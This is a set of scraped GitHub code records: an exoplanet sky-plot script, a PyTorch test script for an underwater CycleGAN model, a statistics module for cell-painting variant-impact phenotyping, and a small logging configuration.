Conor\r\n\r\nEPSSC179\r\nWill output a plot of the exoplanets viewed with the GBT on 15th April 2016.\r\nThe output then needs to be edited manually including zooming in on the\r\narea of interest and adding tick values. \r\n\"\"\"\r\nimport matplotlib.pyplot as plt\r\n\r\nimport numpy as np\r\nfrom math import pi\r\nfrom astropy import units as u\r\n#import astropy.coordinates as coord\r\nfrom astropy.coordinates import SkyCoord, Angle\r\n#from astropy.utils import iers\r\n#2016iers.IERS.iers_table = iers.IERS_A.open(iers.IERS_A_URL)\r\nencoding = \"utf-8\"\r\n\r\n#Creating array to hold the exoplanet data\r\nexo_RaDec = np.genfromtxt('unsorted.cat', dtype=None)\r\nexo_plot_ra = []\r\nexo_plot_dec = []\r\n\r\n#Create SkyCoord object and hold each source RA and DEC in array\r\nfor i in range(len(exo_RaDec)):\r\n source_Name = exo_RaDec[i][0].decode(encoding)\r\n source_RA = exo_RaDec[i][1].decode(encoding)\r\n source_DEC = exo_RaDec[i][2].decode(encoding)\r\n \r\n source_RA = source_RA[0:2] + 'h' + source_RA[3:5] + 'm' + source_RA[6:11] + 's'\r\n source_DEC = '+' + source_DEC[0:2] + 'd' + source_DEC[3:5] + 'm' + source_DEC[6:11] + 's'\r\n \r\n source = SkyCoord(source_RA, source_DEC)\r\n \r\n source_ra = (source.ra).value\r\n source_dec = (source.dec).value\r\n \r\n exo_plot_ra.append(source_ra)\r\n exo_plot_dec.append(source_dec)\r\n \r\n###Read in Kepler field\r\nkepler_field_RADEC = np.genfromtxt('kepler.coords.clean.txt')\r\nkepler_plot_RA = []\r\nkepler_plot_DEC = []\r\n\r\nfor i in range(len(kepler_field_RADEC)):\r\n kepler_plot_RA.append(kepler_field_RADEC[i][4])\r\n kepler_plot_DEC.append(kepler_field_RADEC[i][5])\r\n\r\n###Plotting \r\nra_kep = Angle(kepler_plot_RA*u.degree)\r\nra_kep = ra_kep.wrap_at(180*u.degree)\r\ndec_kep = Angle(kepler_plot_DEC*u.degree)\r\n\r\nra = Angle(exo_plot_ra*u.degree)\r\nra = ra.wrap_at(180*u.degree)\r\ndec = Angle(exo_plot_dec*u.degree)\r\n\r\nfig = plt.figure(figsize=(100,80))\r\nax = fig.add_subplot((111), projection=\"mollweide\")\r\nax.scatter(ra.radian, dec.radian, color = 'r', s = 0.5)\r\nax.scatter(ra_kep.radian, dec_kep.radian, color = 'b', s = 0.4)\r\n\r\nfor i in range(len(exo_plot_ra)):\r\n beam_width = (8.4/60)*(pi/180)\r\n ###Convert to radians as that is what the projection requires\r\n beam_circle = plt.Circle(((ra[i].radian), (dec[i].radian)), beam_width, fc='none', color='g')\r\n ax.add_patch(beam_circle)\r\n\r\n#Adding minor ticks to the plot\r\nminor_x_ticks = np.arange(-90*(pi/180), -31*(3/180), 3*30*(pi/180)*(1/30))\r\nminor_y_ticks = np.arange(30*(pi/180), 61*(3/180), 3*15*(pi/180)*(1/15))\r\n\r\nax.set_xticklabels(['14h','16h','18h','20h','22h','0h','2h','4h','6h','8h','10h'])\r\nax.set_xticks(minor_x_ticks, minor=True)\r\nax.set_yticks(minor_y_ticks, minor=True)\r\nax.grid(which='minor', linewidth = 1)\r\nax.grid(which='major', linewidth = 1.2, linestyle='-')\r\n\r\n#ax.set_yticklabels([])\r\nax.grid(True)\r\n \r\nfig.savefig(\"sourcesPlot.pdf\")\r\n","repo_name":"conorp854/SETI_Scripts","sub_path":"plottingSources.py","file_name":"plottingSources.py","file_ext":"py","file_size_in_byte":2936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25332785715","text":"import os\r\nimport numpy as np\r\nimport torch\r\nimport argparse\r\nfrom torch.utils.data import DataLoader\r\nfrom PIL import Image\r\nfrom matplotlib import pyplot as plt\r\nfrom utils.networks2 import Discriminator, BetaTrans, HazeProduceNet, DepthEstimationNet, Lightnet\r\n# from utils.networks5 import BetaNet, Transnet,Lightnet,Depthnet, Cleannet,HazeProduceNet,BasicBlock, BottleNeck\r\nfrom utils.dataload2_test import Dataset\r\nimport pathlib\r\nfrom pathlib import Path\r\nFILE = Path(__file__).resolve()\r\nROOT = FILE.parents[0]\r\n\r\n\r\nclass cyclegan:\r\n def __init__(self, opt):\r\n self.opt = opt\r\n print(self.opt.save_dir)\r\n self.test_result = Path(self.opt.save_dir) / 'weights' # weights dir save_dir = ROOT/runs/train/exp/weights\r\n pathlib.Path(self.test_result).mkdir(parents=True, exist_ok=True)\r\n\r\n self.device = opt.DEVICE\r\n\r\n self.loss_path = self.test_result / 'metrics.txt'\r\n\r\n def test_model(self):\r\n\r\n self.model_c2u = HazeProduceNet(base_channel_nums=48).to(self.device)\r\n self.model_t = torch.load(opt.weights_t)\r\n self.model_b = torch.load(opt.weights_b)\r\n self.model_A = torch.load(opt.weights_A)\r\n self.model_d = torch.load(opt.weights_d)\r\n #self.model_tb =BetaTrans(32,init_weights=False, use_pretrained=False).to(self.device)\r\n #self.model_A = Lightnet(32, init_weights=False, use_pretrained=False).to(self.device)\r\n #self.model_d = DepthEstimationNet(32, init_weights=False, use_pretrained=False).to(self.device)\r\n self.model_c2u.cuda()\r\n self.model_t.cuda()\r\n self.model_b.cuda()\r\n self.model_A.cuda()\r\n self.model_d.cuda()\r\n\r\n self.test_dataset = Dataset(crop_size=opt.img_size, clean_file=opt.clean_dir, depth_file=opt.depth_dir, underwater_file=opt.underwater_dir, reference_file=opt.underwater_dir_refer, device=self.device, split='unpair')\r\n self.test_loader = DataLoader(dataset=self.test_dataset, batch_size=self.opt.batch_size, num_workers=0, drop_last=True, shuffle=False, collate_fn=Dataset.collate_fn)\r\n\r\n epoch = 0\r\n\r\n for clean, depth, under, under_refer in self.test_loader:\r\n\r\n name = self.test_dataset.load_name(epoch)[:-4]\r\n # wholename = name + '.png'\r\n\r\n clean = clean.to(self.device, non_blocking=True).float()/255\r\n depth = depth.to(self.device, non_blocking=True).float()\r\n under = under.to(self.device, non_blocking=True).float()/255\r\n under_refer = under_refer.to(self.device, non_blocking=True).float()/255\r\n\r\n hazy_images, clean_hp, hazy_h, depth_hm, depth_hp, t_h, A_h = self.test_process(under)\r\n\r\n under_p = self.postprocess(under)[0]\r\n refer_p = self.postprocess(under_refer)[0]\r\n result_p = self.postprocess(clean_hp)[0]\r\n\r\n path = self.test_result\r\n # save_name = os.path.join(path, wholename)\r\n # print('predicted_results shape:', result_p.shape, type(result_p))\r\n self.imsave( result_p, os.path.join(path, name+'_ours.png') )\r\n self.imsave( under_p, os.path.join(path, name+'_under.png') )\r\n self.imsave( refer_p, os.path.join(path, name+'_gt.png') )\r\n t_pred = self.postprocess(t_h)[0]\r\n A_pred = self.postprocess(A_h)[0]\r\n self.imsave(t_pred, os.path.join(path, name+'_t.png'))\r\n self.imsave(A_pred, os.path.join(path, name+'_A.png'))\r\n\r\n epoch += 1\r\n\r\n self.save_result(epoch, name, hazy_images, clean_hp, under_refer)\r\n self.save_result(epoch, name+'_tA', t_h, A_h, hazy_images)\r\n\r\n def test_process(self, hazy_images):\r\n self.model_t.eval()\r\n self.model_b.eval()\r\n self.model_A.eval()\r\n self.model_d.eval()\r\n\r\n A_h = self.model_A.forward(hazy_images)\r\n t_h = self.model_t.forward(hazy_images)\r\n beta_h, depth_hp = self.model_b.forward(hazy_images, t_h)\r\n clean_hp = ((hazy_images - A_h) / t_h + A_h).clamp(0, 1)\r\n\r\n depth_hm = self.model_d.forward(clean_hp)\r\n t = torch.exp(-depth_hm*beta_h)\r\n hazy_h = (clean_hp * t + A_h * (1 - t)).clamp(-1, 1)\r\n\r\n return hazy_images, clean_hp, hazy_h, depth_hm, depth_hp, t_h, A_h\r\n\r\n def postprocess(self, img, size=None):\r\n # [0, 1] => [0, 255]\r\n if size is not None:\r\n img = torch.nn.functional.interpolate(img, size, mode='bicubic')\r\n img = img * 255.0\r\n img = img.permute(0, 2, 3, 1)\r\n return img.int()\r\n\r\n def psnr(self, a, b):\r\n mse = torch.mean((a.float()-b.float())**2)\r\n if mse == 0:\r\n return torch.tensor(0)\r\n psnr = 10*torch.log10(255*255 / mse)\r\n return psnr, mse\r\n\r\n def imsave(self, img, path):\r\n im = Image.fromarray(img.cpu().numpy().astype(np.uint8).squeeze())\r\n im.save(path)\r\n\r\n def save_result(self, epoch, name, outputs, x_qry, y_qry):\r\n # -------------------------------end finetunning and save some results----------------------------------------\r\n\r\n temp_out = outputs\r\n temp_input = x_qry\r\n temp_label = y_qry\r\n\r\n temp_out = temp_out.detach().cpu().numpy()\r\n temp_label = temp_label.detach().cpu().numpy()\r\n temp_input = temp_input.detach().cpu().numpy()\r\n # psnr = self.calculate_psnr(temp_out[0], temp_label[0])\r\n\r\n num_img = 5 if len(temp_out) > 6 else len(temp_out)\r\n fig, ax = plt.subplots(num_img, 3, figsize=(6, 6))\r\n if len(temp_out) == 1:\r\n [ax[0].imshow(temp_out[i].transpose((1, 2, 0))) for i, _ in enumerate(temp_out[0: num_img])]\r\n [ax[1].imshow(temp_input[i].transpose((1, 2, 0))) for i, _ in enumerate(temp_input[0: num_img])]\r\n [ax[2].imshow(temp_label[i].transpose((1, 2, 0))) for i, _ in enumerate(temp_label[0: num_img])]\r\n else:\r\n for i, _ in enumerate(temp_out[0: num_img]):\r\n ax[i][0].imshow(temp_out[i].transpose((1, 2, 0)))\r\n ax[i][0].axis('off')\r\n\r\n for i, _ in enumerate(temp_input[0: num_img]):\r\n ax[i][1].imshow(temp_input[i].transpose((1, 2, 0)))\r\n ax[i][1].axis('off')\r\n\r\n for i, _ in enumerate(temp_label[0: num_img]):\r\n ax[i][2].imshow(temp_label[i].transpose((1, 2, 0)))\r\n ax[i][2].axis('off')\r\n\r\n f = self.test_result / f'{name}.png'\r\n plt.title(name, x=-1.4, y=-0.6)\r\n plt.savefig(f)\r\n plt.close()\r\n\r\n def save_depth(self, epoch, name, outputs, x_qry, y_qry):\r\n # -------------------------------end finetunning and save some results----------------------------------------\r\n temp_out = outputs\r\n temp_input = x_qry\r\n temp_label = y_qry\r\n\r\n temp_out = temp_out.detach().cpu().numpy()\r\n temp_label = temp_label.detach().cpu().numpy()\r\n temp_input = temp_input.detach().cpu().numpy()\r\n num_img = 5 if len(temp_out) > 6 else len(temp_out)\r\n fig, ax = plt.subplots(num_img, 3, figsize=(6, 6))\r\n if len(temp_out) == 1:\r\n [ax[0].imshow(temp_out[i].transpose((1, 2, 0))) for i, _ in enumerate(temp_out[0: num_img])]\r\n [ax[1].imshow(temp_input[i].transpose((1, 2, 0))) for i, _ in enumerate(temp_input[0: num_img])]\r\n [ax[2].imshow(temp_label[i].transpose((1, 2, 0))) for i, _ in enumerate(temp_label[0: num_img])]\r\n else:\r\n for i, _ in enumerate(temp_out[0: num_img]):\r\n ax[i][0].imshow(temp_out[i].transpose((1, 2, 0)))\r\n ax[i][0].axis('off')\r\n\r\n for i, _ in enumerate(temp_input[0: num_img]):\r\n ax[i][1].imshow(temp_input[i].transpose((1, 2, 0)))\r\n ax[i][1].axis('off')\r\n\r\n for i, _ in enumerate(temp_label[0: num_img]):\r\n ax[i][2].imshow(temp_label[i].transpose((1, 2, 0)))\r\n ax[i][2].axis('off')\r\n\r\n f = self.test_result / f'{name}_depth.png'\r\n plt.title(name)\r\n plt.savefig(f)\r\n plt.close()\r\n\r\n\r\ndef exp_lr_scheduler(optimizer, epoch, lr_decay_epoch=260):\r\n \"\"\"Decay learning rate by a factor of DECAY_WEIGHT every lr_decay_epoch epochs.\"\"\"\r\n\r\n decay_rate = 0.9 ** (epoch // lr_decay_epoch)\r\n if epoch % lr_decay_epoch == 0:\r\n print('decay_rate is set to {}'.format(decay_rate))\r\n\r\n for param_group in optimizer.param_groups:\r\n param_group['lr'] = param_group['lr'] * decay_rate\r\n print(f'learning rate', param_group['lr'])\r\n return optimizer, param_group['lr']\r\n\r\n\r\ndef parse_opt(known=False):\r\n # opt.save_dir , opt.epochs, opt.batch_size, opt.weights, opt.task_num, opt.noise_num1, opt.path, opt.evolve\r\n parser = argparse.ArgumentParser()\r\n\r\n parser.add_argument('--epochs', type=int, default=2000)\r\n parser.add_argument('--weights-t', default='./model/model_t.pt', help='dir of dataset')\r\n parser.add_argument('--weights-b', default='./model/model_b.pt', help='dir of dataset')\r\n parser.add_argument('--weights-A', default='./model/model_A.pt', help='dir of dataset')\r\n parser.add_argument('--weights-d', default='./model/model_d.pt', help='dir of dataset')\r\n parser.add_argument('--clean-dir', default='uw-cyclegan/test_img/data1/img', help='dir of dataset')\r\n parser.add_argument('--depth-dir', default='uw-cyclegan/test_img/data1/img', help='dir of dataset')\r\n parser.add_argument('--underwater-dir', default='uw-cyclegan/test_img/data1/img', help='dir of dataset')\r\n parser.add_argument('--underwater-dir-refer', default='uw-cyclegan/test_img/data1/refer', help='dir of dataset')\r\n parser.add_argument('--batch-size', type=int, default=1, help='total batch size for all GPUs, -1 for auto-batch')\r\n parser.add_argument('--PSNR', default='RGB', help='psnr')\r\n parser.add_argument('--img_size', '--img', '--img-size', type=int, default=256,\r\n help='size (pixels) of train, val image')\r\n parser.add_argument('--device', default='gpu', help='cuda device, i.e. 0 or 0,1,2,3 or cpu')\r\n parser.add_argument('--GPU', type=list, default=[1], help='cuda device, i.e. 0 or 0,1,2,3')\r\n parser.add_argument('--project', default=ROOT / 'test_result', help='save to project/name')\r\n parser.add_argument('--name', default='test01', help='save to project/name')\r\n opt = parser.parse_known_args()[0] if known else parser.parse_args()\r\n return opt\r\n\r\n\r\nif __name__ == \"__main__\":\r\n opt = parse_opt()\r\n opt.save_dir = str(Path(opt.project) / opt.name)\r\n\r\n os.environ['CUDA_VISIBLE_DEVICES'] = ','.join(str(e) for e in opt.GPU)\r\n\r\n # init device\r\n if torch.cuda.is_available():\r\n opt.DEVICE = torch.device(\"cuda\")\r\n torch.backends.cudnn.benchmark = True # cudnn auto-tuner\r\n else:\r\n opt.DEVICE = torch.device(\"cpu\")\r\n\r\n cycle = cyclegan(opt)\r\n cycle.test_model()","repo_name":"Duanlab123/UW-CycleGAN","sub_path":"test_cycle.py","file_name":"test_cycle.py","file_ext":"py","file_size_in_byte":10909,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"2916969989","text":"import os\nimport pandas\nimport numpy\nimport scipy\nimport scipy.stats\nimport statsmodels.sandbox.stats.multicomp as stats_models\nimport random\nimport correlations as corr\nfrom plotly import graph_objects as go\nfrom plotly.subplots import make_subplots\nfrom plotly import express as px\nimport pandas\n\nH0 = \"There is no difference between replicate self correlation and control correlation\"\nrandom.seed(8)\n\nCMAP_TYPE = {'EMPTY': '#1f77b4', 'REF':'#2CA02C',\n 'VAR': '#FF7F0E', 'VAR_REF': '#8C564B'}\n\n\ndef wilcoxon_test(self_corr_matrix, control_corr_matrix):\n self_corr_median = corr.correlation_median_row(self_corr_matrix)\n control_corr_median = numpy.median(control_corr_matrix, axis=1)\n test_result = scipy.stats.wilcoxon(self_corr_median, control_corr_median)\n return test_result.pvalue\n\n\ndef wilcoxon_ranksums(sample1, sample2):\n test_result = scipy.stats.ranksums(sample1, sample2)\n return test_result.pvalue\n\n\ndef kruskal_wallis_test(self_corr_upper, control_corr_matrix):\n test_result = scipy.stats.kruskal(self_corr_upper, control_corr_matrix.flatten().tolist())\n return test_result.pvalue\n\n\ndef kruskal_wallis_on_medians(self_corr_matrix, control_corr_matrix):\n self_corr_median = corr.correlation_median_row(self_corr_matrix)\n control_corr_median = numpy.median(control_corr_matrix, axis=1)\n test_result = scipy.stats.kruskal(self_corr_median, control_corr_median)\n return test_result.pvalue\n\n\n## Matrices required for eVIP\n## A. Wild type vs Wild type \t= Wild type self-correlation \t= wt_wt\n## B. Mutant vs Mutant \t\t= Mutant self-correlation \t= mut_mut\n## C. Wild type vs Control \t= Wild type control correlation = wt_ctl\n## D. Mutant vs Control \t= Mutant control correlation \t= mut_ctl\n## E. Wild type vs Mutant \t= Wild type mutant correlation \t= wt_mut\n\nclass Morphology_VIP(object):\n\n def __init__(self, metadata, corr_matrix, treatment_samples, control_samples, controls_value=\"control\", perturbation_field=\"Metadata_x_mutation_status\", controls_field=\"Metadata_broad_sample_type\", plate_field=\"Metadata_Plate\"):\n self.metadata = metadata\n self.corr_matrix = corr_matrix\n self.treatment_samples = treatment_samples\n self.control_samples = control_samples\n self.ctl_mask = metadata[controls_field] == controls_value\n self.perturbation_field = perturbation_field\n self.plate_field = plate_field\n self.index = {\"name\": \"genes\", \"children\": []}\n self.test_cols = [\"wild_type\", \"wt_samples\", \"mutant\", \"mut_samples\", \"wt_has_effect\", \"mut_has_effect\", \"wt_mut_difference\"]\n\n\n def evaluate(self, wild_type, mutant, create_images=False, false_positives=False,\n images_dir='./'):\n results = {}\n results[\"wild_type\"] = wild_type\n results[\"mutant\"] = mutant\n # Get indices of data\n wt_mask = self.metadata[self.perturbation_field] == wild_type\n wt_index = self.metadata[wt_mask].index\n mut_mask = self.metadata[self.perturbation_field] == mutant\n mut_index = self.metadata[mut_mask].index\n\n if not false_positives: # Regular evaluation\n if len(mut_index) > self.treatment_samples:\n mut_index = list(mut_index)\n random.shuffle(mut_index)\n mut_index = mut_index[0:self.treatment_samples]\n if len(wt_index) > self.treatment_samples:\n wt_index = list(wt_index)\n random.shuffle(wt_index)\n wt_index = wt_index[0:self.treatment_samples]\n else: # False positives evaluation\n tmp_index = list(mut_index)\n random.shuffle(tmp_index)\n mut_index = tmp_index[0:self.treatment_samples]\n wt_index = tmp_index[-self.treatment_samples:]\n\n results[\"wt_samples\"] = len(wt_index)\n results[\"mut_samples\"] = len(mut_index)\n # Copy matrices\n self.wt_wt = corr.sample_rectangular_matrix(wt_index, wt_index, self.corr_matrix)\n self.mut_mut = corr.sample_rectangular_matrix(mut_index, mut_index, self.corr_matrix)\n self.wt_ctl = corr.allele_to_control_matrix(wt_index, self.metadata, self.plate_field, self.ctl_mask, self.control_samples, self.corr_matrix)\n self.mut_ctl = corr.allele_to_control_matrix(mut_index, self.metadata, self.plate_field, self.ctl_mask, self.control_samples, self.corr_matrix)\n self.wt_mut = corr.sample_rectangular_matrix(wt_index, mut_index, self.corr_matrix)\n\n # Add json index entry\n # search for wild_type\n wt_idx = [x for x in range(len(self.index[\"children\"])) if self.index[\"children\"][x][\"name\"] == wild_type ]\n if len(wt_idx) == 0:\n self.index[\"children\"].append({\"name\": wild_type, \"children\": []})\n wt_idx = -1\n else:\n wt_idx = wt_idx[0]\n self.index[\"children\"][wt_idx][\"children\"].append({\"name\": mutant, \"pair\": wild_type + \"_\" + mutant})\n\n # Run tests\n if create_images:\n self.create_plots(results, images_dir)\n return self.statistical_tests_medians(results)\n\n def statistical_tests(self, results):\n iu = numpy.triu_indices(self.treatment_samples, 1)\n results[\"wt_has_effect\"] = kruskal_wallis_test(self.wt_wt[iu], self.wt_ctl)\n results[\"mut_has_effect\"] = kruskal_wallis_test(self.mut_mut[iu], self.mut_ctl)\n results[\"wt_mut_difference\"] = kruskal_wallis_test(self.wt_wt[iu], self.wt_mut)\n return results\n \n\n def statistical_tests_medians(self, results):\n wt_pvalue = wilcoxon_test(self.wt_wt, self.wt_ctl)\n mut_pvalue = wilcoxon_test(self.mut_mut, self.mut_ctl)\n results[\"wt_has_effect\"] = wt_pvalue\n results[\"mut_has_effect\"] = mut_pvalue\n\n # Fix (see next comment):\n wt_mut_pvalue = wilcoxon_test(self.mut_mut, self.wt_mut)\n results[\"wt_mut_difference\"] = wt_mut_pvalue\n return results\n\n # The following does not make too much sense. We are comparing mutants against wild types by comparing\n # the distribution of medians in the mutant matrix vs the distribution of median rows AND columns in the cross correlation matrix.\n # Using both, rows and columns is useful if we compare mut_mut VS wt_wt VS wt_mut. i.e., when we compare three distributions.\n # In the current version of the test, we can pair mut_mut medians with wt_mut medians in a Wilconxon test (right?)\n self_corr_median = corr.correlation_median_row(self.mut_mut)\n cross_corr_row = numpy.median(self.wt_mut, axis=0)\n cross_corr_col = numpy.median(self.wt_mut, axis=1)\n test_result = scipy.stats.kruskal(self_corr_median, numpy.concatenate([cross_corr_row, cross_corr_col]))\n wt_mut_pvalue = test_result.pvalue\n results[\"wt_mut_difference\"] = wt_mut_pvalue\n\n return results\n\n\n def create_plots(self, results, images_dir):\n # Dot plots\n row = numpy.median(self.wt_mut, axis=0)\n col = numpy.median(self.wt_mut, axis=1)\n cross_corr_median = numpy.concatenate([row, col])\n dots = pandas.DataFrame()\n # dots = dots.append( [{\"Sample\":\"REF_CTL\",\"Correlation\":k} for k in numpy.median(self.wt_ctl, axis=1)] )\n dots = dots.append( [{\"Sample\":\"REF\",\"Correlation\":k} for k in corr.correlation_median_row(self.wt_wt)] )\n dots = dots.append( [{\"Sample\":\"VAR_REF\",\"Correlation\":k} for k in cross_corr_median] )\n dots = dots.append( [{\"Sample\":\"VAR\",\"Correlation\":k} for k in corr.correlation_median_row(self.mut_mut)] )\n # dots = dots.append( [{\"Sample\":\"VAR_CTL\",\"Correlation\":k} for k in numpy.median(self.mut_ctl, axis=1)] )\n\n fig = px.box(dots, x='Sample', y='Correlation', color='Sample',\n points='all', color_discrete_map=CMAP_TYPE)\n fig.update_layout(showlegend=False,\n yaxis_range=(-0.2, 1.0),\n # margin=dict(l=0, r=0, t=0, b=0)\n )\n\n output_name = results[\"mutant\"] + \"_dots\"\n output_name = os.path.join(images_dir, output_name)\n fig.write_image(output_name + '.png')\n with open(output_name + '.json', 'w') as f:\n f.write(fig.to_json(pretty=True))\n\n # Matrix plots\n matrices = [self.wt_wt, self.wt_mut, self.mut_mut]\n samples = [\"REF_REF\", \"VAR_REF\", \"VAR_VAR\"]\n\n # zmin, zmax = min(map(numpy.min, matrices)), max(map(numpy.max, matrices))\n # zmin, zmax = dots.Correlation.min(), dots.Correlation.max()\n zmin, zmax = -0.2, 1.0\n zranges = {'zmin': zmin, 'zmax': zmax}\n os.makedirs(images_dir, exist_ok=True)\n fig = make_subplots(rows=1, cols=3, horizontal_spacing=0.05, subplot_titles=samples)\n for i, matrix in enumerate(matrices, 1):\n scaled_matrix = (numpy.clip(matrix, zmin, zmax) - zmin) / (zmax - zmin)\n hmap = go.Heatmap(z=scaled_matrix,\n colorscale=[(0, \"blue\"), (0.5, \"white\"), (1, \"red\")],\n **zranges)\n fig.add_trace(hmap, row=1, col=i)\n fig.update_traces(showscale=False)\n fig.update_xaxes(showticklabels=False)\n fig.update_yaxes(showticklabels=False, autorange='reversed')\n fig.update_layout(#margin=dict(l=0, r=0, t=30, b=0),\n height=340\n )\n\n output_name = results[\"mutant\"] + \"_matrices\"\n output_name = os.path.join(images_dir, output_name)\n fig.write_image(output_name + '.png')\n with open(output_name + '.json', 'w') as f:\n f.write(fig.to_json(pretty=True))\n\n\n def search_wild_type(self, mutant, ignore_wt=False):\n # Search the corresponding wild type\n wild_type = mutant.split(\"_\")[0] + \"_WT\"\n wt_search = self.metadata[self.perturbation_field].str.find(wild_type) != -1\n wt_alternatives = self.metadata[wt_search][self.perturbation_field].unique()\n if len(wt_alternatives) == 1:\n wild_type = wt_alternatives[0]\n elif len(wt_alternatives) > 1:\n wt_alternatives = [alt for alt in wt_alternatives if alt.find(\".c\") != -1]\n wild_type = wt_alternatives[0]\n elif len(wt_alternatives) == 0:\n if not ignore_wt:\n print(\"No wild type for:\", mutant)\n wild_type = None\n else:\n wild_type = mutant\n return wild_type\n\n \n def test_allele_set(self, alleles, create_images=False, false_positives=False, null_distribution=None,\n images_dir='./'):\n self.null_dist = null_distribution\n results = pandas.DataFrame()\n for mutant in alleles:\n wild_type = self.search_wild_type(mutant, ignore_wt=false_positives)\n if wild_type is not None:\n r = self.evaluate(wild_type, mutant, create_images=create_images, false_positives=false_positives, images_dir=images_dir)\n results = results.append(r, ignore_index=True)\n \n return results[self.test_cols]\n\n\n def adjust_pvalues(self, results, Q=0.05):\n m = len(results)\n test_fields = [\"wt_has_effect\", \"mut_has_effect\", \"wt_mut_difference\"]\n all_tests = []\n\n ## Adjust p-values of all tests\n for f in test_fields: \n sig, adj, a, b = stats_models.multipletests(results[f], method=\"fdr_bh\")\n results[\"is_sig_\" + f] = sig\n results[\"adjusted_\" + f] = adj\n\n # Run the Variant-Impact Phenotyping test\n wt_has_effect = results[\"is_sig_wt_has_effect\"]\n mut_has_effect = results[\"is_sig_mut_has_effect\"]\n wt_mut_diff = results[\"is_sig_wt_mut_difference\"]\n\n results[\"prediction\"] = \"NI\"\n results.loc[~ wt_has_effect & mut_has_effect, \"prediction\"] = \"GOF\"\n results.loc[wt_has_effect & ~ mut_has_effect, \"prediction\"] = \"LOF\"\n results.loc[wt_has_effect & mut_has_effect & wt_mut_diff, \"prediction\"] = \"COF\"\n results.loc[wt_has_effect & mut_has_effect & ~ wt_mut_diff, \"prediction\"] = \"NT\"\n \n return results\n\n\n def eval_pvalues(self, results, threshold=0.05):\n m = len(results)\n test_fields = [\"wt_has_effect\", \"mut_has_effect\", \"wt_mut_difference\"]\n all_tests = []\n\n for f in test_fields:\n results[\"is_sig_\" + f] = results[f] < threshold\n\n wt_has_effect = results[\"is_sig_wt_has_effect\"]\n mut_has_effect = results[\"is_sig_mut_has_effect\"]\n wt_mut_diff = results[\"is_sig_wt_mut_difference\"]\n \n results[\"prediction\"] = \"NI\"\n results.loc[~ wt_has_effect & mut_has_effect, \"prediction\"] = \"GOF\"\n results.loc[wt_has_effect & ~ mut_has_effect, \"prediction\"] = \"LOF\"\n results.loc[wt_has_effect & mut_has_effect & wt_mut_diff, \"prediction\"] = \"COF\"\n results.loc[wt_has_effect & mut_has_effect & ~ wt_mut_diff, \"prediction\"] = \"NT\"\n\n return results\n\n\nclass Morphology_VIP_CNN_Features(Morphology_VIP):\n\n\n def statistical_tests_medians(self, results):\n self.test_cols = ['wild_type', 'wt_samples', \"mutant\", 'mut_samples', 'impact_test', 'strength_test', 'directionality_test', 'power_test']\n\n wt_self_corr = corr.correlation_median_row(self.wt_wt)\n mut_self_corr = corr.correlation_median_row(self.mut_mut)\n cross_corr_row = numpy.median(self.wt_mut, axis=0)\n cross_corr_col = numpy.median(self.wt_mut, axis=1)\n wt_mut_cross = numpy.concatenate([cross_corr_row, cross_corr_col])\n impact_test = scipy.stats.kruskal(wt_self_corr, mut_self_corr, wt_mut_cross)\n results[\"impact_test\"] = impact_test.pvalue\n\n strength_pvalue = wilcoxon_ranksums(wt_self_corr, mut_self_corr)\n results[\"strength_test\"] = strength_pvalue\n\n power_pvalue = wilcoxon_ranksums(wt_mut_cross, self.null_dist)\n results[\"power_test\"] = power_pvalue\n\n wt_signal = numpy.median(wt_self_corr)\n mut_signal = numpy.median(mut_self_corr)\n results[\"directionality_test\"] = mut_signal > wt_signal\n\n return results\n\n def adjust_pvalues(self, results, Q=0.05):\n m = len(results)\n test_fields = [\"impact_test\", \"strength_test\", \"power_test\"]\n all_tests = []\n\n ## Adjust p-values of all tests\n for f in test_fields: \n sig, adj, a, b = stats_models.multipletests(results[f], method=\"fdr_bh\")\n results[\"is_sig_\" + f] = sig\n results[\"adjusted_\" + f] = adj\n\n # Run the Variant-Impact Phenotyping test\n impact_test = results[\"is_sig_impact_test\"]\n strength_test = results[\"is_sig_strength_test\"]\n power_test = results[\"is_sig_power_test\"]\n direction_test = results[\"directionality_test\"] > 0.0\n\n results[\"prediction\"] = \"NI\"\n results.loc[impact_test & strength_test & direction_test , \"prediction\"] = \"GOF\"\n results.loc[impact_test & strength_test & ~direction_test, \"prediction\"] = \"LOF\"\n results.loc[impact_test & ~ strength_test, \"prediction\"] = \"COF\"\n results.loc[~impact_test & power_test, \"prediction\"] = \"NT\"\n\n return results\n\n\n def update_index(self, results, field_name):\n for idx, record in results.iterrows():\n # search for wild_type\n wt_idx = [x for x in range(len(self.index[\"children\"])) if self.index[\"children\"][x][\"name\"] == record[\"wild_type\"] ]\n if len(wt_idx) > 0:\n wt_idx = wt_idx[0]\n # search for mutant\n mut_idx = [x for x in range(len(self.index[\"children\"][wt_idx][\"children\"])) if self.index[\"children\"][wt_idx][\"children\"][x][\"name\"] == record[\"mutant\"]]\n if len(mut_idx) > 0:\n mut_idx = mut_idx[0]\n # Add test results to the index:\n self.index[\"children\"][wt_idx][\"children\"][mut_idx][field_name] = dict(record)\n else:\n print(record[\"mutant\"], \"missing in index\")\n self.index[\"children\"][wt_idx][\"children\"].sort(key=lambda r: r[\"name\"])\n else:\n print(record[\"wild_type\"], \"missing in index\")\n self.index[\"children\"].sort(key=lambda r: r[\"name\"])\n \n\n","repo_name":"broadinstitute/luad-cell-painting","sub_path":"mvip.py","file_name":"mvip.py","file_ext":"py","file_size_in_byte":16264,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"25007906198","text":"from os import path\nimport logging\nfrom ..settings import settings\n\n\nlog = logging.getLogger('henchman')\nlog.setLevel(logging.DEBUG)\n\n# file based logs\nlogfilename = path.join(settings.logs_root, 'henchman.log')\nfilelog = logging.FileHandler(logfilename, 'a')\nfilelog.setLevel(logging.INFO)\n\n# Use console for development logging:\nconlog = logging.StreamHandler()\nconlog.setLevel(logging.DEBUG)\n\n# Specify log formatting:\nformatter = logging.Formatter(\"%(asctime)s - %(name)s - %(lineno)s - \\\n%(levelname)s - %(message)s\")\nconlog.setFormatter(formatter)\nfilelog.setFormatter(formatter)\n\n# Add console log to logger\nlog.addHandler(conlog)\nlog.addHandler(filelog)\n","repo_name":"plasticine/henchman","sub_path":"henchman/utils/logs.py","file_name":"logs.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"3274616168","text":"\"\"\"\nUses the CelebA dataset to build training\nedges for the baseline GAN and saves the\nresulting images into a training 